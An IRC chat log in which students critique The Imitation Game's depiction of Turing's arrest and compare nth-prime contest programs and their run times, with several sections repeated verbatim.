[2015-02-26T00:07:08-0500] <+awe> "Portraying Turing's arrest as happening in 1951 and having a detective suspect him of being a Soviet spy until Turing tells his codebreaking story in an interview with the detective, who then discovers Turing is gay."
[2015-02-26T00:07:15-0500] <+awe> They completely softened what actually happened.
[2015-02-26T00:07:35-0500] <+alokpathy> Dang :/
[2015-02-26T00:07:45-0500] <+awe> His house was robbed and police began investigating his homosexuality after investigating the robbery.
[2015-02-26T00:07:55-0500] <+awe> As in: He was never thought to have done something wrong other than being gay.
[2015-02-26T00:08:49-0500] <+awe> That's a pretty significant difference.
[2015-02-26T00:38:52-0500] <assface> the worst part about the imitation game was that they barely acknowledged the poles
[2015-02-26T01:17:28-0500] <Hyper> I liked the imitation game
[2015-02-26T01:19:16-0500] <assface> insufficient polish
[2015-02-26T02:16:17-0500] <assface> alright, I finally finished my submission to the contest
[2015-02-26T02:17:03-0500] <assface> found 1000000th prime in 3943240 clock ticks
[2015-02-26T02:17:14-0500] <assface> which is around .3 seconds
[2015-02-26T02:18:09-0500] <assface> correction: according to time, it's 1.3 ses
[2015-02-26T02:18:22-0500] <assface> *secs
[2015-02-26T02:19:44-0500] <assface> 10000000th prime in 19.1 secs
[2015-02-26T02:24:00-0500] <assface> don't have enough ram for more tests
[2015-02-26T03:54:13-0500] <grantwu> Anyone know anything about staging computation in eagerly evaluated functional languages
[2015-02-26T03:54:31-0500] <grantwu> awe miao miao miao ?
[2015-02-26T09:27:19-0500] <JacobEdelman_> awe: in the movie the police only enter his house
[2015-02-26T09:27:28-0500] <JacobEdelman_> because of a robbery
[2015-02-26T09:27:36-0500] <JacobEdelman_> they add the soviet spy suspisicon afterwards
[2015-02-26T09:27:45-0500] <JacobEdelman_> (in the imitation game)\
[2015-02-26T09:28:27-0500] <JacobEdelman_> wait, what?
[2015-02-26T09:28:35-0500] <JacobEdelman_> ooh
[2015-02-26T09:28:41-0500] <JacobEdelman_> sorry, confused by backlog
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[2015-02-26T12:59:11-0500] <+awe> JacobEdelman_: oh, okay, so they didn't take out the robbery.
[2015-02-26T12:59:15-0500] <+awe> JacobEdelman_: wikipedia did not indicate that.
[2015-02-26T12:59:27-0500] <+awe> JacobEdelman_: but yeah, that's still pretty stupid. Trying to add edge by suggesting they thought he was a soviet spy.
[2015-02-26T12:59:38-0500] <JacobEdelman_> eh
[2015-02-26T12:59:42-0500] <JacobEdelman_> its way way better
[2015-02-26T12:59:48-0500] <JacobEdelman_> than most movies
[2015-02-26T13:01:08-0500] <+awe> Your standard for quality of media is pretty much "how nerdy is it?"
[2015-02-26T13:01:27-0500] <+awe> Your idea of good music is "How many math/computing/video game references does it have?"
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[2015-02-26T13:34:49-0500] <+awe> hi q724t 
[2015-02-26T13:35:59-0500] <Hyper> awe: he'd like JoCo :)
[2015-02-26T13:36:06-0500] <+awe> He loves JoCo.
[2015-02-26T13:36:08-0500] <Hyper> good
[2015-02-26T13:36:10-0500] <Hyper> as he should
[2015-02-26T13:36:16-0500] • Hyper: has been to a JoCo concert
[2015-02-26T13:37:38-0500] <+awe> Hah, cool.
[2015-02-26T13:38:02-0500] <Hyper> like 4 years ago though
[2015-02-26T13:38:11-0500] <Hyper> it was a ton of fun
[2015-02-26T13:44:03-0500] <grantwu> q.q
[2015-02-26T13:44:09-0500] <grantwu> Test wasn't too hard
[2015-02-26T13:44:11-0500] <grantwu> But too long
[2015-02-26T13:44:19-0500] <grantwu> Also introducing morphisms on a test = wai
[2015-02-26T13:47:42-0500] <+awe> I have my systems exam tonight.
[2015-02-26T13:47:43-0500] <+awe> lol
[2015-02-26T14:00:10-0500] <ubuntor> oh man, naclo results almost out
[2015-02-26T14:03:28-0500] <+awe> Sigh, all of my projects are broken on Travis because cargo is broken. :\
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[2015-02-26T14:44:34-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-26T00:07:08-0500] <+awe> "Portraying Turing's arrest as happening in 1951 and having a detective suspect him of being a Soviet spy until Turing tells his codebreaking story in an interview with the detective, who then discovers Turing is gay."
[2015-02-26T00:07:15-0500] <+awe> They completely softened what actually happened.
[2015-02-26T00:07:35-0500] <+alokpathy> Dang :/
[2015-02-26T00:07:45-0500] <+awe> His house was robbed and police began investigating his homosexuality after investigating the robbery.
[2015-02-26T00:07:55-0500] <+awe> As in: He was never thought to have done something wrong other than being gay.
[2015-02-26T00:08:49-0500] <+awe> That's a pretty significant difference.
[2015-02-26T00:38:52-0500] <assface> the worst part about the imitation game was that they barely acknowledged the poles
[2015-02-26T01:17:28-0500] <Hyper> I liked the imitation game
[2015-02-26T01:19:16-0500] <assface> insufficient polish
[2015-02-26T02:16:17-0500] <assface> alright, I finally finished my submission to the contest
[2015-02-26T02:17:03-0500] <assface> found 1000000th prime in 3943240 clock ticks
[2015-02-26T02:17:14-0500] <assface> which is around .3 seconds
[2015-02-26T02:18:09-0500] <assface> correction: according to time, it's 1.3 ses
[2015-02-26T02:18:22-0500] <assface> *secs
[2015-02-26T02:19:44-0500] <assface> 10000000th prime in 19.1 secs
[2015-02-26T02:24:00-0500] <assface> don't have enough ram for more tests
[2015-02-26T03:54:13-0500] <grantwu> Anyone know anything about staging computation in eagerly evaluated functional languages
[2015-02-26T03:54:31-0500] <grantwu> awe miao miao miao ?
[2015-02-26T09:27:19-0500] <JacobEdelman_> awe: in the movie the police only enter his house
[2015-02-26T09:27:28-0500] <JacobEdelman_> because of a robbery
[2015-02-26T09:27:36-0500] <JacobEdelman_> they add the soviet spy suspisicon afterwards
[2015-02-26T09:27:45-0500] <JacobEdelman_> (in the imitation game)\
[2015-02-26T09:28:27-0500] <JacobEdelman_> wait, what?
[2015-02-26T09:28:35-0500] <JacobEdelman_> ooh
[2015-02-26T09:28:41-0500] <JacobEdelman_> sorry, confused by backlog
[2015-02-26T12:59:10-0500] <+awe> JacobEdelman_: oh, okay, so they didn't take out the robbery.
[2015-02-26T12:59:15-0500] <+awe> JacobEdelman_: wikipedia did not indicate that.
[2015-02-26T12:59:27-0500] <+awe> JacobEdelman_: but yeah, that's still pretty stupid. Trying to add edge by suggesting they thought he was a soviet spy.
[2015-02-26T12:59:38-0500] <JacobEdelman_> eh
[2015-02-26T12:59:41-0500] <JacobEdelman_> its way way better
[2015-02-26T12:59:48-0500] <JacobEdelman_> than most movies
[2015-02-26T13:01:08-0500] <+awe> Your standard for quality of media is pretty much "how nerdy is it?"
[2015-02-26T13:01:27-0500] <+awe> Your idea of good music is "How many math/computing/video game references does it have?"
[2015-02-26T13:34:49-0500] <+awe> hi q724t 
[2015-02-26T13:35:59-0500] <Hyper> awe: he'd like JoCo :)
[2015-02-26T13:36:06-0500] <+awe> He loves JoCo.
[2015-02-26T13:36:08-0500] <Hyper> good
[2015-02-26T13:36:10-0500] <Hyper> as he should
[2015-02-26T13:36:16-0500] • Hyper: has been to a JoCo concert
[2015-02-26T13:37:38-0500] <+awe> Hah, cool.
[2015-02-26T13:38:02-0500] <Hyper> like 4 years ago though
[2015-02-26T13:38:11-0500] <Hyper> it was a ton of fun
[2015-02-26T13:44:03-0500] <grantwu> q.q
[2015-02-26T13:44:09-0500] <grantwu> Test wasn't too hard
[2015-02-26T13:44:11-0500] <grantwu> But too long
[2015-02-26T13:44:19-0500] <grantwu> Also introducing morphisms on a test = wai
[2015-02-26T13:47:42-0500] <+awe> I have my systems exam tonight.
[2015-02-26T13:47:43-0500] <+awe> lol
[2015-02-26T14:00:10-0500] <ubuntor> oh man, naclo results almost out
[2015-02-26T14:03:28-0500] <+awe> Sigh, all of my projects are broken on Travis because cargo is broken. :\
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[2015-02-26T14:45:29-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-26T00:07:08-0500] <+awe> "Portraying Turing's arrest as happening in 1951 and having a detective suspect him of being a Soviet spy until Turing tells his codebreaking story in an interview with the detective, who then discovers Turing is gay."
[2015-02-26T00:07:15-0500] <+awe> They completely softened what actually happened.
[2015-02-26T00:07:35-0500] <+alokpathy> Dang :/
[2015-02-26T00:07:45-0500] <+awe> His house was robbed and police began investigating his homosexuality after investigating the robbery.
[2015-02-26T00:07:55-0500] <+awe> As in: He was never thought to have done something wrong other than being gay.
[2015-02-26T00:08:49-0500] <+awe> That's a pretty significant difference.
[2015-02-26T00:38:52-0500] <assface> the worst part about the imitation game was that they barely acknowledged the poles
[2015-02-26T01:17:28-0500] <Hyper> I liked the imitation game
[2015-02-26T01:19:16-0500] <assface> insufficient polish
[2015-02-26T02:16:17-0500] <assface> alright, I finally finished my submission to the contest
[2015-02-26T02:17:03-0500] <assface> found 1000000th prime in 3943240 clock ticks
[2015-02-26T02:17:14-0500] <assface> which is around .3 seconds
[2015-02-26T02:18:09-0500] <assface> correction: according to time, it's 1.3 ses
[2015-02-26T02:18:22-0500] <assface> *secs
[2015-02-26T02:19:44-0500] <assface> 10000000th prime in 19.1 secs
[2015-02-26T02:24:00-0500] <assface> don't have enough ram for more tests
[2015-02-26T03:54:13-0500] <grantwu> Anyone know anything about staging computation in eagerly evaluated functional languages
[2015-02-26T03:54:31-0500] <grantwu> awe miao miao miao ?
[2015-02-26T09:27:19-0500] <JacobEdelman_> awe: in the movie the police only enter his house
[2015-02-26T09:27:28-0500] <JacobEdelman_> because of a robbery
[2015-02-26T09:27:36-0500] <JacobEdelman_> they add the soviet spy suspisicon afterwards
[2015-02-26T09:27:45-0500] <JacobEdelman_> (in the imitation game)\
[2015-02-26T09:28:27-0500] <JacobEdelman_> wait, what?
[2015-02-26T09:28:35-0500] <JacobEdelman_> ooh
[2015-02-26T09:28:41-0500] <JacobEdelman_> sorry, confused by backlog
[2015-02-26T12:59:10-0500] <+awe> JacobEdelman_: oh, okay, so they didn't take out the robbery.
[2015-02-26T12:59:15-0500] <+awe> JacobEdelman_: wikipedia did not indicate that.
[2015-02-26T12:59:27-0500] <+awe> JacobEdelman_: but yeah, that's still pretty stupid. Trying to add edge by suggesting they thought he was a soviet spy.
[2015-02-26T12:59:38-0500] <JacobEdelman_> eh
[2015-02-26T12:59:41-0500] <JacobEdelman_> its way way better
[2015-02-26T12:59:48-0500] <JacobEdelman_> than most movies
[2015-02-26T13:01:08-0500] <+awe> Your standard for quality of media is pretty much "how nerdy is it?"
[2015-02-26T13:01:27-0500] <+awe> Your idea of good music is "How many math/computing/video game references does it have?"
[2015-02-26T13:34:49-0500] <+awe> hi q724t 
[2015-02-26T13:35:59-0500] <Hyper> awe: he'd like JoCo :)
[2015-02-26T13:36:06-0500] <+awe> He loves JoCo.
[2015-02-26T13:36:08-0500] <Hyper> good
[2015-02-26T13:36:10-0500] <Hyper> as he should
[2015-02-26T13:36:16-0500] • Hyper: has been to a JoCo concert
[2015-02-26T13:37:38-0500] <+awe> Hah, cool.
[2015-02-26T13:38:02-0500] <Hyper> like 4 years ago though
[2015-02-26T13:38:11-0500] <Hyper> it was a ton of fun
[2015-02-26T13:44:03-0500] <grantwu> q.q
[2015-02-26T13:44:09-0500] <grantwu> Test wasn't too hard
[2015-02-26T13:44:11-0500] <grantwu> But too long
[2015-02-26T13:44:19-0500] <grantwu> Also introducing morphisms on a test = wai
[2015-02-26T13:47:42-0500] <+awe> I have my systems exam tonight.
[2015-02-26T13:47:43-0500] <+awe> lol
[2015-02-26T14:00:10-0500] <ubuntor> oh man, naclo results almost out
[2015-02-26T14:03:28-0500] <+awe> Sigh, all of my projects are broken on Travis because cargo is broken. :\
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[2015-02-26T15:15:02-0500] <+awe> Hyper: what was the bound on the input again?
[2015-02-26T15:16:12-0500] <+awe> Hyper: n should fit into u32 too, right?
[2015-02-26T15:16:23-0500] <+awe> Yeah, I guess it has to.
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[2015-02-26T16:25:23-0500] <JacobEdelman_> 0.1 secs it seems
[2015-02-26T16:25:38-0500] <JacobEdelman_> also
[2015-02-26T16:25:48-0500] <JacobEdelman_> note that the actuall time is n/log(log(n)) or something
[2015-02-26T16:25:51-0500] <JacobEdelman_> its just that
[2015-02-26T16:26:00-0500] <JacobEdelman_> the main function that takes most of the time
[2015-02-26T16:26:04-0500] <JacobEdelman_> is very simple and wicked fast
[2015-02-26T16:31:23-0500] <JacobEdelman_> (BlastX: fyi, we're talking about programs to calculate the nth prime number)
[2015-02-26T16:32:48-0500] <JacobEdelman_> Hyper: how fast is yours?
[2015-02-26T16:33:03-0500] <JacobEdelman_> (also, note that 0.1 is not exact, it may be as high as 0.2)
[2015-02-26T16:33:26-0500] <Hyper> JacobEdelman_: .21s still, what was yours at? (My internet disconnected)
[2015-02-26T16:33:37-0500] <JacobEdelman_> about 0.2s
[2015-02-26T16:33:42-0500] <JacobEdelman_> maybe a bit more
[2015-02-26T16:33:44-0500] <Hyper> so we're about the same
[2015-02-26T16:33:44-0500] <JacobEdelman_> maybe a bit less
[2015-02-26T16:33:49-0500] <JacobEdelman_> yeah
[2015-02-26T16:33:58-0500] <JacobEdelman_> are you still using euler?
[2015-02-26T16:34:00-0500] <Hyper> are you doing anything more complex than a sieve?
[2015-02-26T16:34:04-0500] <JacobEdelman_> yes
[2015-02-26T16:34:09-0500] <JacobEdelman_> for the nth prime>
[2015-02-26T16:34:10-0500] <JacobEdelman_> ?
[2015-02-26T16:34:17-0500] <JacobEdelman_> I'm using the thing I talked about yesterday
[2015-02-26T16:34:28-0500] <Hyper> I'm just using a sieve of erastothenes
[2015-02-26T16:34:43-0500] <Hyper> it's the reference implementation :)
[2015-02-26T16:34:52-0500] <adunna> Wait so what is this competition here
[2015-02-26T16:34:57-0500] <BlastX> ahhh math
[2015-02-26T16:35:00-0500] <Hyper> adunna: https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/rules.md
[2015-02-26T16:35:01-0500] <adunna> Calculate the nth prime in the least amount of time?
[2015-02-26T16:35:05-0500] <Hyper> correct
[2015-02-26T16:35:18-0500] <Hyper> and my reference implementation https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/d-reference-impl/source/app.d
[2015-02-26T16:40:57-0500] <Hyper> JacobEdelman_: now about .14s
[2015-02-26T16:42:02-0500] <JacobEdelman_> Hyper: I'll still beat you for larger ns
[2015-02-26T16:42:20-0500] <Hyper> I'm still not actually competing :)
[2015-02-26T16:42:26-0500] <Hyper> :~)
[2015-02-26T16:43:09-0500] <JacobEdelman_> q724t: who are you?
[2015-02-26T16:43:24-0500] <JacobEdelman_> (yes, that is a deeply philosophical question)
[2015-02-26T16:43:40-0500] <Hyper> q724t: What is your quest?
[2015-02-26T16:44:00-0500] <adunna> He's gonna get to candy mountain
[2015-02-26T16:44:02-0500] <adunna> That is the quest
[2015-02-26T16:44:10-0500] <adunna> Will it blend is the quest(ion)
[2015-02-26T16:52:41-0500] <JacobEdelman_> hypothesis: q724t is a spectre who never speaks
[2015-02-26T16:52:45-0500] <JacobEdelman_> and haunts irc servers
[2015-02-26T16:54:45-0500] <JacobEdelman_> nezorg: nice job on 1st
[2015-02-26T18:21:38-0500] <LittleBobbyTables> spectre speaks, she just talks backwards
[2015-02-26T18:45:05-0500] <assface> jola
[2015-02-26T18:51:15-0500] <hardmath123> "No really, how does it work?
[2015-02-26T18:51:16-0500] <hardmath123> I will answer that question with a question. How do you communicate with a process that doesn't support shared memory, sockets, FIFOs, or standard input?
[2015-02-26T18:51:18-0500] <hardmath123> Well, there's one thing PhantomJS does support, and that's opening webpages. In fact, it's really good at opening web pages. So we communicate with PhantomJS by spinning up an instance of ExpressJS, opening Phantom in a subprocess, and pointing it at a special webpage that turns socket.io messages into alert() calls. Those alert() calls are picked up by Phantom and there you go!
[2015-02-26T18:51:20-0500] <hardmath123> "
[2015-02-26T18:51:22-0500] <hardmath123> <3 JS "hackers".
[2015-02-26T18:54:09-0500] <grantwu> wat
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[2015-02-26T19:01:45-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-26T16:25:23-0500] <JacobEdelman_> 0.1 secs it seems
[2015-02-26T16:25:38-0500] <JacobEdelman_> also
[2015-02-26T16:25:48-0500] <JacobEdelman_> note that the actuall time is n/log(log(n)) or something
[2015-02-26T16:25:51-0500] <JacobEdelman_> its just that
[2015-02-26T16:26:00-0500] <JacobEdelman_> the main function that takes most of the time
[2015-02-26T16:26:04-0500] <JacobEdelman_> is very simple and wicked fast
[2015-02-26T16:31:23-0500] <JacobEdelman_> (BlastX: fyi, we're talking about programs to calculate the nth prime number)
[2015-02-26T16:32:48-0500] <JacobEdelman_> Hyper: how fast is yours?
[2015-02-26T16:33:03-0500] <JacobEdelman_> (also, note that 0.1 is not exact, it may be as high as 0.2)
[2015-02-26T16:33:26-0500] <Hyper> JacobEdelman_: .21s still, what was yours at? (My internet disconnected)
[2015-02-26T16:33:37-0500] <JacobEdelman_> about 0.2s
[2015-02-26T16:33:42-0500] <JacobEdelman_> maybe a bit more
[2015-02-26T16:33:44-0500] <Hyper> so we're about the same
[2015-02-26T16:33:44-0500] <JacobEdelman_> maybe a bit less
[2015-02-26T16:33:49-0500] <JacobEdelman_> yeah
[2015-02-26T16:33:58-0500] <JacobEdelman_> are you still using euler?
[2015-02-26T16:34:00-0500] <Hyper> are you doing anything more complex than a sieve?
[2015-02-26T16:34:04-0500] <JacobEdelman_> yes
[2015-02-26T16:34:09-0500] <JacobEdelman_> for the nth prime>
[2015-02-26T16:34:10-0500] <JacobEdelman_> ?
[2015-02-26T16:34:17-0500] <JacobEdelman_> I'm using the thing I talked about yesterday
[2015-02-26T16:34:28-0500] <Hyper> I'm just using a sieve of erastothenes
[2015-02-26T16:34:43-0500] <Hyper> it's the reference implementation :)
[2015-02-26T16:34:52-0500] <adunna> Wait so what is this competition here
[2015-02-26T16:34:57-0500] <BlastX> ahhh math
[2015-02-26T16:35:00-0500] <Hyper> adunna: https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/rules.md
[2015-02-26T16:35:01-0500] <adunna> Calculate the nth prime in the least amount of time?
[2015-02-26T16:35:05-0500] <Hyper> correct
[2015-02-26T16:35:18-0500] <Hyper> and my reference implementation https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/d-reference-impl/source/app.d
[2015-02-26T16:40:57-0500] <Hyper> JacobEdelman_: now about .14s
[2015-02-26T16:42:02-0500] <JacobEdelman_> Hyper: I'll still beat you for larger ns
[2015-02-26T16:42:20-0500] <Hyper> I'm still not actually competing :)
[2015-02-26T16:42:26-0500] <Hyper> :~)
[2015-02-26T16:43:09-0500] <JacobEdelman_> q724t: who are you?
[2015-02-26T16:43:24-0500] <JacobEdelman_> (yes, that is a deeply philosophical question)
[2015-02-26T16:43:40-0500] <Hyper> q724t: What is your quest?
[2015-02-26T16:44:00-0500] <adunna> He's gonna get to candy mountain
[2015-02-26T16:44:02-0500] <adunna> That is the quest
[2015-02-26T16:44:10-0500] <adunna> Will it blend is the quest(ion)
[2015-02-26T16:52:41-0500] <JacobEdelman_> hypothesis: q724t is a spectre who never speaks
[2015-02-26T16:52:45-0500] <JacobEdelman_> and haunts irc servers
[2015-02-26T16:54:45-0500] <JacobEdelman_> nezorg: nice job on 1st
[2015-02-26T18:21:38-0500] <LittleBobbyTables> spectre speaks, she just talks backwards
[2015-02-26T18:45:05-0500] <assface> jola
[2015-02-26T18:51:15-0500] <hardmath123> "No really, how does it work?
[2015-02-26T18:51:16-0500] <hardmath123> I will answer that question with a question. How do you communicate with a process that doesn't support shared memory, sockets, FIFOs, or standard input?
[2015-02-26T18:51:18-0500] <hardmath123> Well, there's one thing PhantomJS does support, and that's opening webpages. In fact, it's really good at opening web pages. So we communicate with PhantomJS by spinning up an instance of ExpressJS, opening Phantom in a subprocess, and pointing it at a special webpage that turns socket.io messages into alert() calls. Those alert() calls are picked up by Phantom and there you go!
[2015-02-26T18:51:20-0500] <hardmath123> "
[2015-02-26T18:51:22-0500] <hardmath123> <3 JS "hackers".
[2015-02-26T18:54:09-0500] <grantwu> wat
[2015-02-26T19:01:45-0500] Mode is +nt
[2015-02-26T19:25:57-0500] <JacobEdelman_> I don't know whether I live that it's hate that
[2015-02-26T19:27:00-0500] <JacobEdelman_>  *like
[2015-02-26T19:27:53-0500] <BlastX> ?
[2015-02-26T19:54:12-0500] <assface> got my submission down to .8s
[2015-02-26T19:54:21-0500] <assface> hoping to pare it down more as I optimise it
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[2015-02-26T16:26:04-0500] <JacobEdelman_> is very simple and wicked fast
[2015-02-26T16:31:23-0500] <JacobEdelman_> (BlastX: fyi, we're talking about programs to calculate the nth prime number)
[2015-02-26T16:32:48-0500] <JacobEdelman_> Hyper: how fast is yours?
[2015-02-26T16:33:03-0500] <JacobEdelman_> (also, note that 0.1 is not exact, it may be as high as 0.2)
[2015-02-26T16:33:26-0500] <Hyper> JacobEdelman_: .21s still, what was yours at? (My internet disconnected)
[2015-02-26T16:33:37-0500] <JacobEdelman_> about 0.2s
[2015-02-26T16:33:42-0500] <JacobEdelman_> maybe a bit more
[2015-02-26T16:33:44-0500] <Hyper> so we're about the same
[2015-02-26T16:33:44-0500] <JacobEdelman_> maybe a bit less
[2015-02-26T16:33:49-0500] <JacobEdelman_> yeah
[2015-02-26T16:33:58-0500] <JacobEdelman_> are you still using euler?
[2015-02-26T16:34:00-0500] <Hyper> are you doing anything more complex than a sieve?
[2015-02-26T16:34:04-0500] <JacobEdelman_> yes
[2015-02-26T16:34:09-0500] <JacobEdelman_> for the nth prime>
[2015-02-26T16:34:10-0500] <JacobEdelman_> ?
[2015-02-26T16:34:17-0500] <JacobEdelman_> I'm using the thing I talked about yesterday
[2015-02-26T16:34:28-0500] <Hyper> I'm just using a sieve of erastothenes
[2015-02-26T16:34:43-0500] <Hyper> it's the reference implementation :)
[2015-02-26T16:34:52-0500] <adunna> Wait so what is this competition here
[2015-02-26T16:34:57-0500] <BlastX> ahhh math
[2015-02-26T16:35:00-0500] <Hyper> adunna: https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/rules.md
[2015-02-26T16:35:01-0500] <adunna> Calculate the nth prime in the least amount of time?
[2015-02-26T16:35:05-0500] <Hyper> correct
[2015-02-26T16:35:18-0500] <Hyper> and my reference implementation https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/d-reference-impl/source/app.d
[2015-02-26T16:40:57-0500] <Hyper> JacobEdelman_: now about .14s
[2015-02-26T16:42:02-0500] <JacobEdelman_> Hyper: I'll still beat you for larger ns
[2015-02-26T16:42:20-0500] <Hyper> I'm still not actually competing :)
[2015-02-26T16:42:26-0500] <Hyper> :~)
[2015-02-26T16:43:09-0500] <JacobEdelman_> q724t: who are you?
[2015-02-26T16:43:24-0500] <JacobEdelman_> (yes, that is a deeply philosophical question)
[2015-02-26T16:43:40-0500] <Hyper> q724t: What is your quest?
[2015-02-26T16:44:00-0500] <adunna> He's gonna get to candy mountain
[2015-02-26T16:44:02-0500] <adunna> That is the quest
[2015-02-26T16:44:10-0500] <adunna> Will it blend is the quest(ion)
[2015-02-26T16:52:41-0500] <JacobEdelman_> hypothesis: q724t is a spectre who never speaks
[2015-02-26T16:52:45-0500] <JacobEdelman_> and haunts irc servers
[2015-02-26T16:54:45-0500] <JacobEdelman_> nezorg: nice job on 1st
[2015-02-26T18:21:38-0500] <LittleBobbyTables> spectre speaks, she just talks backwards
[2015-02-26T18:45:05-0500] <assface> jola
[2015-02-26T18:51:15-0500] <hardmath123> "No really, how does it work?
[2015-02-26T18:51:16-0500] <hardmath123> I will answer that question with a question. How do you communicate with a process that doesn't support shared memory, sockets, FIFOs, or standard input?
[2015-02-26T18:51:18-0500] <hardmath123> Well, there's one thing PhantomJS does support, and that's opening webpages. In fact, it's really good at opening web pages. So we communicate with PhantomJS by spinning up an instance of ExpressJS, opening Phantom in a subprocess, and pointing it at a special webpage that turns socket.io messages into alert() calls. Those alert() calls are picked up by Phantom and there you go!
[2015-02-26T18:51:20-0500] <hardmath123> "
[2015-02-26T18:51:22-0500] <hardmath123> <3 JS "hackers".
[2015-02-26T18:54:09-0500] <grantwu> wat
[2015-02-26T19:25:57-0500] <JacobEdelman_> I don't know whether I live that it's hate that
[2015-02-26T19:27:00-0500] <JacobEdelman_>  *like
[2015-02-26T19:27:53-0500] <BlastX> ?
[2015-02-26T19:54:12-0500] <assface> got my submission down to .8s
[2015-02-26T19:54:21-0500] <assface> hoping to pare it down more as I optimise it
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[2015-02-26T20:17:22-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-26T16:26:04-0500] <JacobEdelman_> is very simple and wicked fast
[2015-02-26T16:31:23-0500] <JacobEdelman_> (BlastX: fyi, we're talking about programs to calculate the nth prime number)
[2015-02-26T16:32:48-0500] <JacobEdelman_> Hyper: how fast is yours?
[2015-02-26T16:33:03-0500] <JacobEdelman_> (also, note that 0.1 is not exact, it may be as high as 0.2)
[2015-02-26T16:33:26-0500] <Hyper> JacobEdelman_: .21s still, what was yours at? (My internet disconnected)
[2015-02-26T16:33:37-0500] <JacobEdelman_> about 0.2s
[2015-02-26T16:33:42-0500] <JacobEdelman_> maybe a bit more
[2015-02-26T16:33:44-0500] <Hyper> so we're about the same
[2015-02-26T16:33:44-0500] <JacobEdelman_> maybe a bit less
[2015-02-26T16:33:49-0500] <JacobEdelman_> yeah
[2015-02-26T16:33:58-0500] <JacobEdelman_> are you still using euler?
[2015-02-26T16:34:00-0500] <Hyper> are you doing anything more complex than a sieve?
[2015-02-26T16:34:04-0500] <JacobEdelman_> yes
[2015-02-26T16:34:09-0500] <JacobEdelman_> for the nth prime>
[2015-02-26T16:34:10-0500] <JacobEdelman_> ?
[2015-02-26T16:34:17-0500] <JacobEdelman_> I'm using the thing I talked about yesterday
[2015-02-26T16:34:28-0500] <Hyper> I'm just using a sieve of erastothenes
[2015-02-26T16:34:43-0500] <Hyper> it's the reference implementation :)
[2015-02-26T16:34:52-0500] <adunna> Wait so what is this competition here
[2015-02-26T16:34:57-0500] <BlastX> ahhh math
[2015-02-26T16:35:00-0500] <Hyper> adunna: https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/rules.md
[2015-02-26T16:35:01-0500] <adunna> Calculate the nth prime in the least amount of time?
[2015-02-26T16:35:05-0500] <Hyper> correct
[2015-02-26T16:35:18-0500] <Hyper> and my reference implementation https://github.com/Pdgn/programming-competitions/blob/master/01-nthprime/d-reference-impl/source/app.d
[2015-02-26T16:40:57-0500] <Hyper> JacobEdelman_: now about .14s
[2015-02-26T16:42:02-0500] <JacobEdelman_> Hyper: I'll still beat you for larger ns
[2015-02-26T16:42:20-0500] <Hyper> I'm still not actually competing :)
[2015-02-26T16:42:26-0500] <Hyper> :~)
[2015-02-26T16:43:09-0500] <JacobEdelman_> q724t: who are you?
[2015-02-26T16:43:24-0500] <JacobEdelman_> (yes, that is a deeply philosophical question)
[2015-02-26T16:43:40-0500] <Hyper> q724t: What is your quest?
[2015-02-26T16:44:00-0500] <adunna> He's gonna get to candy mountain
[2015-02-26T16:44:02-0500] <adunna> That is the quest
[2015-02-26T16:44:10-0500] <adunna> Will it blend is the quest(ion)
[2015-02-26T16:52:41-0500] <JacobEdelman_> hypothesis: q724t is a spectre who never speaks
[2015-02-26T16:52:45-0500] <JacobEdelman_> and haunts irc servers
[2015-02-26T16:54:45-0500] <JacobEdelman_> nezorg: nice job on 1st
[2015-02-26T18:21:38-0500] <LittleBobbyTables> spectre speaks, she just talks backwards
[2015-02-26T18:45:05-0500] <assface> jola
[2015-02-26T18:51:15-0500] <hardmath123> "No really, how does it work?
[2015-02-26T18:51:16-0500] <hardmath123> I will answer that question with a question. How do you communicate with a process that doesn't support shared memory, sockets, FIFOs, or standard input?
[2015-02-26T18:51:18-0500] <hardmath123> Well, there's one thing PhantomJS does support, and that's opening webpages. In fact, it's really good at opening web pages. So we communicate with PhantomJS by spinning up an instance of ExpressJS, opening Phantom in a subprocess, and pointing it at a special webpage that turns socket.io messages into alert() calls. Those alert() calls are picked up by Phantom and there you go!
[2015-02-26T18:51:20-0500] <hardmath123> "
[2015-02-26T18:51:22-0500] <hardmath123> <3 JS "hackers".
[2015-02-26T18:54:09-0500] <grantwu> wat
[2015-02-26T19:25:57-0500] <JacobEdelman_> I don't know whether I live that it's hate that
[2015-02-26T19:27:00-0500] <JacobEdelman_>  *like
[2015-02-26T19:27:53-0500] <BlastX> ?
[2015-02-26T19:54:12-0500] <assface> got my submission down to .8s
[2015-02-26T19:54:21-0500] <assface> hoping to pare it down more as I optimise it
[2015-02-26T20:17:22-0500] Mode is +nt
[2015-02-26T20:24:00-0500] <+awe> I only have approximations right now.
[2015-02-26T20:24:04-0500] <+awe> I haven't done the sieving part yet.
[2015-02-26T20:33:36-0500] <assface> after mucking about with a calculator I found that a really good approximation for n < 10000000 is n*ln(n^1.2)
[2015-02-26T20:33:59-0500] <+awe> lol
[2015-02-26T20:34:13-0500] <+awe> Li^-1(n) + Li^-1(sqrt(n)) / 4
[2015-02-26T20:34:15-0500] <+awe> That's what you want.
[2015-02-26T20:34:38-0500] <assface> well mine is close within a few hundred
[2015-02-26T20:34:54-0500] <assface> and really those few hundred aren't going to make a big difference with a fast seive function
[2015-02-26T20:35:23-0500] <+awe> What about if you get n > 10,000,000
[2015-02-26T20:35:56-0500] <assface> i dont have enough ram for that
[2015-02-26T20:35:58-0500] <assface> so its pointless
[2015-02-26T20:36:00-0500] <+awe> ...
[2015-02-26T20:36:02-0500] <+awe> Ok.
[2015-02-26T20:36:04-0500] <+awe> Sure.
[2015-02-26T20:36:12-0500] <+awe> That's why Jacob's Python is currently 8x faster than you.
[2015-02-26T20:36:20-0500] <+awe> And can calculate n = 2^30
[2015-02-26T20:37:05-0500] <+awe> JacobEdelman_: do you have a completely unoptimized implementation of your algo to post as a reference?
[2015-02-26T20:37:29-0500] <assface> he's only 4x faster than me right now, and I haven't actually tried with very large n's since a much older version
[2015-02-26T20:37:36-0500] <assface> lesse what it does then
[2015-02-26T20:37:56-0500] <assface> it segfaults immediately
